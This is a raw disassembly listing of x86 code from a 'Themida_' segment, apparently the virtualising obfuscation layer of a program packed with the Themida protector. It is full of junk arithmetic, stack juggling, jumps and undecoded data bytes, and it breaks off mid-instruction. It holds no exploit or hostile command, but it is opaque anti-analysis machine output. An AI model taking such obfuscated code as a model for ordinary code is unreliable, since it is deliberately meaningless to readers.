loc_592085: ; CODE XREF: Themida_:005961A6j not dh not dh shr dh, 6 jmp loc_58D852 ; --------------------------------------------------------------------------- loc_592091: ; CODE XREF: Themida_:0058FF85j add ecx, 4 xchg ecx, [esp] pop esp pop ecx jmp loc_594936 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 4EC8124h, 89000000h, 0E189240Ch, 0DB16855h, 78E90000h dd 83FFFFA4h, 25E904C4h, 33FFFFE5h, 248B242Ch, 0AB0F6624h dd 0E99C2404h, 0FFFF81FAh ; --------------------------------------------------------------------------- loc_5920D4: ; CODE XREF: Themida_:00597A7Bj add eax, 4 push esi push ecx jmp loc_58BF07 ; --------------------------------------------------------------------------- dd 4C481h, 0A30F0000h, 0E99C2404h, 13C4h ; --------------------------------------------------------------------------- loc_5920F0: ; CODE XREF: Themida_:00593B15j add esi, 4 jmp loc_58CCFB ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 0E3E95824h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_592107: ; CODE XREF: Themida_:0058C398j add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_58F2A6 ; --------------------------------------------------------------------------- dd 24048F5Bh, 8324248Bh, 43104C4h, 0F9E99C24h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592127: ; CODE XREF: Themida_:0058E072j or eax, eax jnz loc_592857 push ebp push esp mov ebp, [esp] jmp loc_58A8E2 ; --------------------------------------------------------------------------- loc_592139: ; CODE XREF: Themida_:00595A89j and eax, ecx jmp loc_58D497 ; --------------------------------------------------------------------------- loc_592140: ; CODE XREF: Themida_:00591FC0j jmp loc_592420 ; --------------------------------------------------------------------------- loc_592145: ; CODE XREF: Themida_:005905FBj add edi, 4 jmp loc_5938BF ; --------------------------------------------------------------------------- loc_592150: ; CODE XREF: Themida_:0058B370j ; Themida_:00593805j push ecx push eax push 58770C6h jmp loc_5957F7 ; --------------------------------------------------------------------------- loc_59215C: ; CODE XREF: Themida_:005934D3j pop ebx and eax, ecx mov ecx, [esp] add esp, 4 jmp loc_58BBFA ; --------------------------------------------------------------------------- loc_59216A: ; CODE XREF: Themida_:005967BDj mov ecx, 5C923D83h shl ecx, 6 not ecx xor ecx, 3BE83E8Fh dec ecx add ecx, 584484A1h or eax, ecx pop ecx add eax, 0FA189E8Dh add ebp, eax pop eax add eax, ebp pop ebp jmp loc_58A4BD ; --------------------------------------------------------------------------- dd 4240481h, 0E9000000h, 0FFFFBE55h, 276AE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5921A6: ; CODE XREF: Themida_:0059482Dj xor edi, 7B9C1521h jmp loc_59774E ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 4BE56h, 74010000h, 348B0424h, 4C48124h, 0FF000000h dd 148B2434h, 4C48124h, 0E9000000h, 0FFFFCB96h ; --------------------------------------------------------------------------- loc_5921D8: ; CODE XREF: Themida_:0059170Cj ; Themida_:00597D0Ej push ebx push 36CCh mov [esp], eax push ebx jmp loc_58D52E ; --------------------------------------------------------------------------- loc_5921E7: ; CODE XREF: Themida_:0058FB89j add bl, dh jmp loc_591121 ; --------------------------------------------------------------------------- aHbz db '[hZ',0 align 4 dd 0FF240C89h, 8B042474h, 0C483240Ch, 24048F04h, 2404895Ch dd 0FF80C1E9h, 2EAC1FFh, 0B41A8B0Fh, 0E2C1FFFFh, 0B9E28103h dd 0F263F73h, 5328Fh, 0FFC4E900h, 0CD89FFFFh db 59h, 50h, 55h ; --------------------------------------------------------------------------- loc_59222F: ; CODE XREF: Themida_:005908A4j pop ebx sub esi, 11E680AFh push esi push edi mov edi, 5DB64E91h xor [esp+4], edi pop edi jmp loc_58A5E4 ; --------------------------------------------------------------------------- loc_592247: ; CODE XREF: Themida_:00593750j mov ebp, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] mov cx, [esp] push eax jmp loc_58FB47 ; --------------------------------------------------------------------------- db 81h, 0C7h, 34h dd 0E968D063h, 0FFFFAB13h ; --------------------------------------------------------------------------- loc_592268: ; CODE XREF: Themida_:005945C2j shl esi, 3 jmp loc_58EDDF ; --------------------------------------------------------------------------- loc_592270: ; CODE XREF: Themida_:005906B5j mov ecx, 0A5A385F0h sub edx, ecx pop ecx push esi mov esi, 13057644h neg esi add esi, 15580F43h and esi, 3C8C0101h add esi, 448A36A7h add esi, 0A773073h jmp loc_595B88 ; --------------------------------------------------------------------------- loc_59229D: ; CODE XREF: Themida_:0058F72Aj mov al, 69h add al, 0D7h push ebx jmp loc_58C7ED ; --------------------------------------------------------------------------- loc_5922A7: ; CODE XREF: Themida_:0058F0A5j and edi, 21CE4626h jmp loc_58C5E8 ; --------------------------------------------------------------------------- loc_5922B2: ; CODE XREF: Themida_:0058D2F4j pop edx jmp loc_58F0E7 ; --------------------------------------------------------------------------- dd 0B31E9h, 81E68900h, 4C6h, 4C68300h, 2474FF56h, 48F5E04h dd 24248B24h, 8B2434FFh, 0E952240Ch, 4CC2h ; --------------------------------------------------------------------------- loc_5922E0: ; CODE XREF: Themida_:005910B4j push edx jmp loc_591400 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 54A2E9h db 0 ; --------------------------------------------------------------------------- loc_5922F1: ; CODE XREF: Themida_:005906C5j add edx, ecx sub edx, 43F67A21h pop ecx jmp loc_58C252 ; --------------------------------------------------------------------------- loc_5922FF: ; CODE XREF: Themida_:00593F26j sub edi, 6E3D65DFh mov esi, [esp] push ecx jmp loc_594E3C ; --------------------------------------------------------------------------- loc_59230E: ; CODE XREF: Themida_:005904AFj pop eax inc edx and edx, 5C99655Ah or edx, 63844BA5h jmp loc_59245E ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 489665Ch, 2DEFE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59232E: ; CODE XREF: Themida_:0058E3B7j neg ebp jg loc_5931C5 jmp loc_5919DA ; --------------------------------------------------------------------------- loc_59233B: ; CODE XREF: Themida_:0059246Cj pop ecx add ebx, 0A285F659h add edi, ebx jmp loc_595CEB ; --------------------------------------------------------------------------- loc_592349: ; CODE XREF: Themida_:00590950j pop ebp push ebx mov ebx, 712739FFh not ebx add ebx, 2A7F1478h xor ebx, 6B3733A7h xor ebx, 56E93B97h jmp loc_597DA6 ; --------------------------------------------------------------------------- db 0Fh, 84h, 14h dd 66000014h, 0EEBE6656h, 0F509663Eh, 24348B66h, 81E28952h dd 4C2h, 2C28300h, 0FFEC9CE9h db 0FFh ; --------------------------------------------------------------------------- loc_59238D: ; CODE XREF: Themida_:0058D949j xor eax, 0AB938BD1h add ebx, eax jmp loc_59407D ; --------------------------------------------------------------------------- db 5Bh, 83h, 0C1h dd 240C8704h, 0FFA616E9h db 0FFh ; --------------------------------------------------------------------------- loc_5923A5: ; CODE XREF: Themida_:00591D2Bj not ebp jmp loc_59307D ; --------------------------------------------------------------------------- loc_5923AC: ; CODE XREF: Themida_:0059581Cj push 148663BDh pop ebx shr ebx, 8 js loc_58E80A inc ebx jmp loc_592553 ; --------------------------------------------------------------------------- loc_5923C1: ; CODE XREF: Themida_:0058FD34j mov [esp], ebx mov bh, dl jmp loc_594FD6 ; --------------------------------------------------------------------------- loc_5923CB: ; CODE XREF: Themida_:0058FA22j ; Themida_:00595936j add ebx, 4 jmp loc_58EB3C ; --------------------------------------------------------------------------- loc_5923D6: ; CODE XREF: Themida_:00595594j jmp loc_5903AB ; --------------------------------------------------------------------------- loc_5923DB: ; CODE XREF: Themida_:00594AB8j shr ecx, 4 neg ecx jmp loc_58F180 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 81000000h, 4EAh, 24143300h, 33241431h, 68E92414h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5923FF: ; CODE XREF: Themida_:0058F672j add ebx, 5B063CD3h pop dword ptr [eax] jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_59240C: ; CODE XREF: Themida_:0058C2DAj sub eax, 79E7A6F2h jmp loc_594B8D ; --------------------------------------------------------------------------- dw 3C89h dd 0E9E78924h, 0FFFF83F1h ; --------------------------------------------------------------------------- loc_592420: ; CODE XREF: Themida_:loc_592140j neg ecx jmp loc_5933C2 ; --------------------------------------------------------------------------- loc_592427: ; CODE XREF: Themida_:00597171j add esp, 4 jmp loc_595123 ; --------------------------------------------------------------------------- loc_59242F: ; CODE XREF: Themida_:00594CD5j push dword ptr [esp] pop ebp jmp loc_59658E ; --------------------------------------------------------------------------- loc_592438: ; CODE XREF: Themida_:0058F48Dj push edx mov edx, 655A4E46h add edi, edx pop edx jmp loc_58F755 ; --------------------------------------------------------------------------- loc_592446: ; CODE XREF: Themida_:0058C15Bj push ecx push 48B010A4h pop ecx push edi mov edi, 0 sub edi, ecx mov ecx, edi pop edi push edx jmp loc_5959BE ; --------------------------------------------------------------------------- loc_59245E: ; CODE XREF: Themida_:0059231Cj sub edx, 3E9DDC3Ch jmp loc_596BF4 ; --------------------------------------------------------------------------- loc_592469: ; CODE XREF: Themida_:0058F71Bj pop ebp xor ebx, ecx jmp loc_59233B ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 4C6815Ch, 55000000h, 0D31473BDh, 2DF5812Ch, 0E9042B59h dd 715h ; --------------------------------------------------------------------------- loc_59248C: ; CODE XREF: Themida_:0058BF62j sub esi, 5ACA016Ah inc esi jmp loc_58C208 ; --------------------------------------------------------------------------- dd 4C681h, 0C6810000h, 2, 0FFEC1EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5924A9: ; CODE XREF: Themida_:0059169Dj add esi, 0D194B405h or ebp, esi pop esi push edx mov edx, 1FCB5FC4h and ebp, edx pop edx shr ebp, 4 xchg edi, ebp jmp loc_594880 ; --------------------------------------------------------------------------- loc_5924C5: ; CODE XREF: Themida_:00596028j shl ebx, 1 neg ebx push edi mov edi, 5A5CC5BEh add ebx, edi pop edi push ebp mov ebp, ebx mov edx, ebp pop ebp mov ebx, [esp] add esp, 4 add edx, 0CFB4AA84h sub ebp, 73D35964h add ebp, 7C8E55B7h add ebp, edx sub ebp, 7C8E55B7h add ebp, 73D35964h jmp loc_58C4ED ; --------------------------------------------------------------------------- loc_592503: ; CODE XREF: Themida_:005901FEj xor ebp, 81576044h and ecx, ebp mov ebp, [esp] jmp loc_58FD7A ; --------------------------------------------------------------------------- loc_592513: ; CODE XREF: Themida_:0059064Cj xor eax, ecx xor eax, ebp xor ebp, eax xor eax, ebp sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_591D25 ; --------------------------------------------------------------------------- loc_592540: ; CODE XREF: Themida_:00593948j push edi mov edi, 4 add eax, edi pop edi add eax, 4 jmp loc_590D69 ; --------------------------------------------------------------------------- loc_592553: ; CODE XREF: Themida_:005923BCj jle loc_591130 push ebp mov ebp, 148664h sub ebx, ebp pop ebp mov ebp, ebx pop ebx add ebp, 0F8F058Eh sub ebp, edi jmp loc_59042B ; --------------------------------------------------------------------------- loc_592572: ; CODE XREF: Themida_:0058EB5Fj ; Themida_:00591872j pop edx push edi push eax mov eax, 647E154Ch mov edi, eax pop eax not edi sub edi, 3335468Dh jmp loc_59508A ; --------------------------------------------------------------------------- loc_59258A: ; CODE XREF: Themida_:0058CB2Cj add ebx, edx jmp loc_58F12F ; --------------------------------------------------------------------------- loc_592591: ; CODE XREF: Themida_:0058F278j push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp loc_59259A: ; CODE XREF: Themida_:0058CA09j ; Themida_:0059670Ej push dword ptr [esp] pop ebx push ebx mov ebx, esp sub esp, 4 mov [esp], edi mov edi, 23DB00BFh sub edi, 49EB3854h push eax mov eax, 26103799h add edi, eax pop eax jmp loc_58ED18 ; --------------------------------------------------------------------------- loc_5925C3: ; CODE XREF: Themida_:00590FEFj sub edi, 122B1960h xor edi, edx xor edx, edi jmp loc_5912D7 ; --------------------------------------------------------------------------- aIFzsb db 'ΧfZιb%',0 dw 0F700h dd 0D3F381DBh, 812B2B3Dh, 0D4C678F3h, 64C781C7h, 0E951BE22h dd 0FFFFC797h, 0CBFE5966h, 43E9DBF6h, 83000003h, 2BE904C4h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_592607: ; CODE XREF: Themida_:0058D529j mov ebp, 41C1056Bh add ebp, 0ED2B07FCh sub ebx, ebp pop ebp shr ebx, 7 add ebx, 0D0A0E80h add ebx, 0F2B08118h jmp loc_58C4F8 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 2708BB53h, 0D3F7519Ah, 0D8F5EB81h, 45E9AE65h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59263F: ; CODE XREF: Themida_:0058EDC4j xor esi, eax pop eax sub edx, esi pop esi add edx, eax add edx, 368B01B5h sub esp, 4 mov [esp], ebp mov ebp, ecx push ebx sub esp, 4 jmp loc_591170 ; --------------------------------------------------------------------------- loc_592661: ; CODE XREF: Themida_:0058D521j pop ebp not eax shr eax, 3 push ebx mov ebx, 366134DEh shr ebx, 1 xor ebx, 3A3E6FC1h sub ebx, 3D300764h add eax, ebx jmp loc_5910BF ; --------------------------------------------------------------------------- loc_592682: ; CODE XREF: Themida_:0058E50Fj mov ebp, ebx jmp loc_58CED7 ; --------------------------------------------------------------------------- loc_592689: ; CODE XREF: Themida_:0058CD02j push edx mov edx, 477E3585h jmp loc_59361D ; --------------------------------------------------------------------------- dd 0FE31F731h, 0FB31DF31h, 0D3F7DF31h, 0FE87DF87h, 8146D6F7h dd 4ECh, 240C8900h, 0E31F58B9h, 49EE812Ch, 161D320h, 49C681CEh dd 5961D320h, 35DEE81h, 0F7016615h, 0DD77E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5926D2: ; CODE XREF: Themida_:0058C06Aj shl eax, 8 jp loc_58C2DF and eax, 51F53A7Fh jg loc_58C050 mov ch, 0E4h push ebx loc_5926EA: ; CODE XREF: Themida_:00595D92j add [esp+4], ecx jmp loc_593F35 ; --------------------------------------------------------------------------- db 81h dd 9DFFC1F3h, 0E9D88997h, 0FFFFBEC0h ; --------------------------------------------------------------------------- loc_592700: ; CODE XREF: Themida_:005976A3j add esp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop eax push 0C59h mov [esp], edi push esp push dword ptr [esp] jmp loc_591EDB ; --------------------------------------------------------------------------- dd 0BE7E8A0Fh, 0F380FFFFh, 86E38664h, 86D2F6D4h, 88E386D4h dd 73E957DBh db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592737: ; CODE XREF: Themida_:00590F2Aj push esi jmp loc_593B13 ; --------------------------------------------------------------------------- db 0B1h, 4Bh, 88h dd 0F68059CEh, 0C960E912h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59274A: ; CODE XREF: Themida_:0058E2FBj sub eax, 6B212B36h sub edx, eax pop eax jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_592757: ; CODE XREF: Themida_:loc_58C6A6j jmp loc_58C17E ; --------------------------------------------------------------------------- loc_59275C: ; CODE XREF: Themida_:0058F186j mov ebp, ecx pop ecx push eax mov eax, ebp mov ebx, eax pop eax pop ebp and ebx, 254C0B5Fh push edi mov edi, 213606B8h jmp loc_58F35B ; --------------------------------------------------------------------------- loc_592777: ; CODE XREF: Themida_:00597FF2j push dword ptr [esp] pop edx add esp, 4 push eax jmp loc_58A70D ; --------------------------------------------------------------------------- loc_592784: ; CODE XREF: Themida_:005954A8j xchg ecx, [esp] pop esp push ebp sub esp, 4 mov [esp], edi mov edi, 33CB21E3h mov ebp, edi mov edi, [esp] add esp, 4 and ebp, 1FC73DB4h xor ebp, 16837E40h push edx jmp loc_597E13 ; --------------------------------------------------------------------------- loc_5927B1: ; CODE XREF: Themida_:0059165Bj not eax jmp loc_5919BD ; --------------------------------------------------------------------------- dd 2424D25Ch, 7B0CE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5927C2: ; CODE XREF: Themida_:0058A333j mov ebx, 24A853CEh push esi jmp loc_596BA6 ; --------------------------------------------------------------------------- loc_5927CD: ; CODE XREF: Themida_:0058E490j sub al, 2Fh pop bx push cx mov cl, 62h jmp loc_58BCA5 ; --------------------------------------------------------------------------- loc_5927DA: ; CODE XREF: Themida_:0058F02Fj sub ecx, ebp jmp loc_58CB4F ; --------------------------------------------------------------------------- loc_5927E1: ; CODE XREF: Themida_:00593BA0j add edi, 4 xchg edi, [esp] jmp loc_590F10 ; --------------------------------------------------------------------------- dd 4EC81h, 4890000h, 2B824h, 0C3010000h, 0E924048Bh, 0FFFF886Ch ; --------------------------------------------------------------------------- loc_592804: ; CODE XREF: Themida_:0058F149j push ecx mov ecx, 79E4EF3h or ecx, 52AE1378h jo loc_58F760 sub ecx, 2772EBF7h and ecx, 3A3D56A7h add ecx, 3404EA63h mov ebx, ecx pop ecx xor ebx, edx pop edx push edx jmp loc_593D17 ; --------------------------------------------------------------------------- loc_592834: ; CODE XREF: Themida_:00591704j add ebx, 107B3949h jmp loc_594200 ; --------------------------------------------------------------------------- loc_59283F: ; CODE XREF: Themida_:005939EFj pop edi jmp loc_58BA75 ; --------------------------------------------------------------------------- loc_592845: ; CODE XREF: Themida_:0058DDD0j pop ebp pop dword ptr [esp] mov esp, [esp] mov [esp], esi mov esi, 1 push esi pop edx pop esi loc_592857: ; CODE XREF: Themida_:0058D1F2j ; Themida_:00592129j sub esp, 4 mov [esp], edx push ebx jmp loc_591AF7 ; --------------------------------------------------------------------------- align 4 dd 0F8EB80C3h, 0F41EB80h, 5456C0B6h, 0C9B9515Eh, 0C1172435h dd 0E1C104E1h, 515AE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_592882: ; CODE XREF: Themida_:0058CCC8j sub ebx, 0FFFDBA48h push ebx pop edi pop ebx jmp loc_58ED84 ; --------------------------------------------------------------------------- loc_592890: ; CODE XREF: Themida_:00593469j add esp, 4 add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mov [esp], ecx mov ecx, esp sub esp, 4 mov [esp], edx mov edx, 4 add ecx, edx mov edx, [esp] add esp, 4 push edi mov edi, 2 add ecx, edi pop edi xchg ecx, [esp] pop esp mov ax, [esp] sub esp, 4 mov [esp], eax push 12AAh mov [esp], esp push 46D9h mov [esp], ebp mov ebp, 4 add [esp+4], ebp jmp loc_58AE90 ; --------------------------------------------------------------------------- dw 895Ch dd 0E9502414h, 341Ah, 240C8B66h, 5BFC68h, 24048900h, 405E089h dd 68000000h, 2B3Fh, 0BB241C89h, 2664151Fh, 0C104EBC1h dd 890F03E3h, 0FFFFB956h, 0A86EB81h, 0E9561332h, 0FFFF9991h dd 0F380C08Ah, 8BDE30B3h, 0C481241Ch, 4, 88F48850h, 148B58E7h dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 2F045Ch dd 0FE5BE9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592972: ; CODE XREF: Themida_:00597CF1j add ebp, 62701BEBh jmp loc_58DD66 ; --------------------------------------------------------------------------- loc_59297D: ; CODE XREF: Themida_:0058F30Fj add esp, 4 jmp loc_593523 ; --------------------------------------------------------------------------- loc_592988: ; CODE XREF: Themida_:00591342j add ebp, 1D896B42h mov edx, ebp pop ebp jmp loc_5904D1 ; --------------------------------------------------------------------------- loc_592996: ; CODE XREF: Themida_:0059578Cj not dh xchg ch, dh push ecx jmp loc_595079 ; --------------------------------------------------------------------------- loc_5929A0: ; CODE XREF: Themida_:00595C8Fj push edx mov edx, esp add edx, 4 push esi mov esi, 198E2AF4h not esi add esi, 198E2AF9h add edx, esi pop esi xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_59722C ; --------------------------------------------------------------------------- loc_5929C8: ; CODE XREF: Themida_:005979FFj xchg ebp, [esp] mov esp, [esp] push ebx push 758E61EDh pop ebx push 1A6Eh mov [esp], ecx mov ecx, 594A35A8h or ebx, ecx mov ecx, [esp] jmp loc_58E6F8 ; --------------------------------------------------------------------------- loc_5929EC: ; CODE XREF: Themida_:0059305Fj pop eax sub ecx, edi push edx mov edx, 43D054F8h sub ecx, edx jmp loc_591A9C ; --------------------------------------------------------------------------- dd 0E60DF3BAh, 1C2811Eh, 0E9000000h, 3DBh ; --------------------------------------------------------------------------- loc_592A0C: ; CODE XREF: Themida_:00596BA1j xor edi, [esp] mov esp, [esp] jmp loc_58C48D ; --------------------------------------------------------------------------- loc_592A17: ; CODE XREF: Themida_:00595711j shl ebp, 8 jmp loc_5934E2 ; --------------------------------------------------------------------------- db 89h dd 0E9542404h, 0FFFFE5DAh ; --------------------------------------------------------------------------- loc_592A28: ; CODE XREF: Themida_:00590644j xchg edx, [esp] pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_58AA99 ; --------------------------------------------------------------------------- loc_592A3A: ; CODE XREF: Themida_:00594057j pop bx add al, 57h jmp loc_58EB0E ; --------------------------------------------------------------------------- loc_592A43: ; CODE XREF: Themida_:00592F7Dj xor ebx, 6B84F12Bh mov esi, ebx pop ebx sub ebp, esi pop esi jmp loc_593351 ; --------------------------------------------------------------------------- loc_592A54: ; CODE XREF: Themida_:005909BAj mov eax, ebp pop ebp dec eax shr eax, 5 inc eax jmp loc_59107C ; --------------------------------------------------------------------------- loc_592A61: ; CODE XREF: Themida_:0058EB9Dj sub dl, 15h sub bh, dl pop edx sub al, bh jmp loc_594F0A ; --------------------------------------------------------------------------- dw 815Fh dd 4D4425EEh, 3518E948h, 2C8B0000h, 37E4E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_592A82: ; CODE XREF: Themida_:00591E06j mov ebp, 15AF34A5h xor ebp, 732957FCh sub eax, 2DFA0828h jmp loc_5937E0 ; --------------------------------------------------------------------------- db 81h dd 3927B5F1h, 9EE18140h, 812D5A15h, 0F749ECC1h, 59CB01DCh dd 0EB81EB01h, 1114E88h, 51242C8Bh, 0C181E189h, 4, 4C181h dd 0C870000h, 0F3815C24h, 106B25FBh, 9BE9D901h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_592AD7: ; CODE XREF: Themida_:00596104j pop edx add eax, edi sub eax, 24E66FABh pop edi jmp loc_58F22F ; --------------------------------------------------------------------------- aSq db ')Πιο&',0 align 4 dd 3125C281h, 0C28136D1h, 2E7109CFh, 0E95AD089h, 0FFFF83B8h dd 92ED815Bh, 314CBF50h, 0BD555DE8h, 0D4411BDh, 5CA7BD55h dd 0B8502690h, 454A6973h, 4E88BC35h, 0E9C501BAh, 0C6Eh dd 405h, 4BF5700h, 1000000h, 243C8BF8h, 4C481h, 4870000h dd 24248B24h, 0E99CC83Bh, 0FFFF7782h, 0FF2434FFh, 59E92434h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592B57: ; CODE XREF: Themida_:00596DF1j add esp, 4 push edi sub dword ptr [esp], 307A4C27h pop edx add edx, 307A4C27h push dword ptr [esp] mov edi, [esp] jmp loc_593925 ; --------------------------------------------------------------------------- loc_592B77: ; CODE XREF: Themida_:0058CC64j mov ecx, 10930B62h add edx, 64636A58h jmp loc_591984 ; --------------------------------------------------------------------------- loc_592B87: ; CODE XREF: Themida_:00594A54j push eax mov eax, 404916D3h sub eax, 661C3656h push ebp jmp loc_594688 ; --------------------------------------------------------------------------- loc_592B98: ; CODE XREF: Themida_:00596134j pop eax xchg edx, [esp] jmp loc_594290 ; --------------------------------------------------------------------------- loc_592BA1: ; CODE XREF: Themida_:00597CA0j shr ebp, 2 jmp loc_58B132 ; --------------------------------------------------------------------------- loc_592BA9: ; CODE XREF: Themida_:00592E96j pop eax mov edi, ecx jmp loc_58C2C5 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Bh, 0E9000000h, 0FFFF770Eh, 2DEB8059h, 0FFC0B60Fh dd 0FFE98734h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592BCF: ; CODE XREF: Themida_:0058F3CBj mov ebx, 0 add ebx, edx jmp loc_595DF6 ; --------------------------------------------------------------------------- loc_592BDB: ; CODE XREF: Themida_:00597C60j pop eax push ebx jmp loc_593289 ; --------------------------------------------------------------------------- dw 0FEB6h dd 1DC680h, 1DEE80DEh, 0B151665Bh, 66CF0036h, 80F70059h dd 8B6636EFh, 0C4832414h, 0FED7F602h, 8AC780C7h, 1C8BF830h dd 520CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_592C12: ; CODE XREF: Themida_:00596876j or dh, 53h sub dh, 27h jmp loc_5967C2 ; --------------------------------------------------------------------------- db 59h, 81h, 0C1h dd 4, 2E981h, 0FF510000h, 59042474h, 16DDE9h db 0 ; --------------------------------------------------------------------------- loc_592C35: ; CODE XREF: Themida_:0059576Ej push eax mov eax, 451B6CF4h sub edi, 770E5CE1h add edi, eax add edi, 770E5CE1h pop eax push ebx push edi jmp loc_58DDD5 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 55000000h, 0BDh, 87DD2900h, 0F3815DEBh, 39A8EA96h, 0E95BDF01h dd 0FFFF8515h, 6BF4F281h, 0D7011470h, 4C7835Ah, 0E9243C87h dd 0FFFFF51Ch ; --------------------------------------------------------------------------- loc_592C84: ; CODE XREF: Themida_:00596C0Ej xor [esp], ecx xor ecx, [esp] xor [esp], ecx mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 3A5Ah mov [esp], edx jmp loc_58E25F ; --------------------------------------------------------------------------- loc_592CAD: ; CODE XREF: Themida_:005944A2j pop esp push esi mov esi, esp add esi, 4 push ecx mov ecx, 4FF244DEh and ecx, 30932247h shr ecx, 7 jmp loc_595B5C ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4C28100h, 87000000h, 15C2414h, 384AE9EEh, 0C7830000h dd 74FF5702h, 8F5F0424h, 248B2404h, 92F2E924h, 4E4EFFFFh dd 0B2E9EE81h, 0F201FF3Ah, 0E950535Eh, 0FFFFD147h, 800FDDBEh dd 2F1AE922h db 2 dup(0) ; --------------------------------------------------------------------------- loc_592D12: ; CODE XREF: Themida_:00595BFCj push ebp jmp loc_58A7ED ; --------------------------------------------------------------------------- dd 52D80166h, 5B5FBA66h, 0FFDF4EE9h db 0FFh ; --------------------------------------------------------------------------- loc_592D25: ; CODE XREF: Themida_:005934A9j push ebp push edx push ebx push eax mov eax, 22CE577Bh sub [esp+4], eax pop eax pop edx add edx, 22CE577Bh push eax mov eax, edx mov ebp, eax pop eax jmp loc_58F5ED ; --------------------------------------------------------------------------- loc_592D45: ; CODE XREF: Themida_:00591144j pop ebp dec ebp jno loc_5946F3 jmp loc_595BE2 ; --------------------------------------------------------------------------- dw 0E389h db 0C6h, 0C3h, 0D5h ; --------------------------------------------------------------------------- loc_592D57: ; CODE XREF: Themida_:0058D345j add eax, 25CB2E99h add eax, ebx jmp loc_596667 ; --------------------------------------------------------------------------- loc_592D63: ; CODE XREF: Themida_:0058BE37j mov ebx, [esp] add esp, 4 push eax jmp loc_5977C3 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 24048F04h, 0E924248Bh, 3F1h, 66DCB951h dd 0E1811F26h, 62BE305Dh, 188AE9h, 4C48100h, 55000000h dd 8904EC83h, 4832424h, 2C8B0424h, 4C48324h, 4C581h, 0CDE90000h dd 35FFFFFFh, 343C3081h, 2DD8F740h, 0D65EC330h, 6858C301h dd 30E7h, 0FF7E3BE9h, 8001B1FFh, 8DE901E9h, 0E9FFFFA3h dd 51D7h ; --------------------------------------------------------------------------- loc_592DDC: ; CODE XREF: Themida_:00591F4Dj add edi, 13014DF9h jmp loc_5913A4 ; --------------------------------------------------------------------------- db 0F7h dd 7EB5E9D2h, 0EE81FFFFh, 1E6C006Fh, 8E6C15Bh, 95E9FE31h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592DFF: ; CODE XREF: Themida_:0058FCA4j shr edi, 6 jmp loc_58B5F8 ; --------------------------------------------------------------------------- loc_592E07: ; CODE XREF: Themida_:005933A9j sub dword ptr [esp], 2E3970AFh jmp loc_58D4B8 ; --------------------------------------------------------------------------- loc_592E13: ; CODE XREF: Themida_:0058D0A9j pop esp sub esp, 4 mov [esp], ecx mov ecx, 2 sub esi, ecx jmp loc_596A94 ; --------------------------------------------------------------------------- loc_592E29: ; CODE XREF: Themida_:0058C985j xchg ebx, [esp] sub esp, 4 mov [esp], ebx not dword ptr [esp] pop ebx xchg ebx, [esp] mov eax, [esp] push esi jmp loc_594466 ; --------------------------------------------------------------------------- dw 585Fh dd 2244805h, 0C098E917h, 5E66FFFFh, 55196866h, 242C8966h dd 4F5EE951h, 8B660000h, 4DE9240Ch db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592E67: ; CODE XREF: Themida_:00593F13j mov ebp, [esp] jmp loc_58C2F9 ; --------------------------------------------------------------------------- db 8Bh dd 89662424h, 0F7662434h, 0AAE92414h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_592E7F: ; CODE XREF: Themida_:0058EA24j and eax, ebp jmp loc_58A946 ; --------------------------------------------------------------------------- dw 3A68h dd 5D44AB32h, 0E958C531h, 0FFFFBD37h ; --------------------------------------------------------------------------- loc_592E94: ; CODE XREF: Themida_:0058FFEDj xor ecx, eax jmp loc_592BA9 ; --------------------------------------------------------------------------- loc_592E9B: ; CODE XREF: Themida_:0059139Fj add esp, 4 push eax mov eax, 16363E2Ch add eax, 42DDEC27h add ecx, 277416BDh add ecx, eax sub ecx, 277416BDh mov eax, [esp] add esp, 4 jmp loc_58A73F ; --------------------------------------------------------------------------- loc_592EC5: ; CODE XREF: Themida_:00596CFFj add edx, 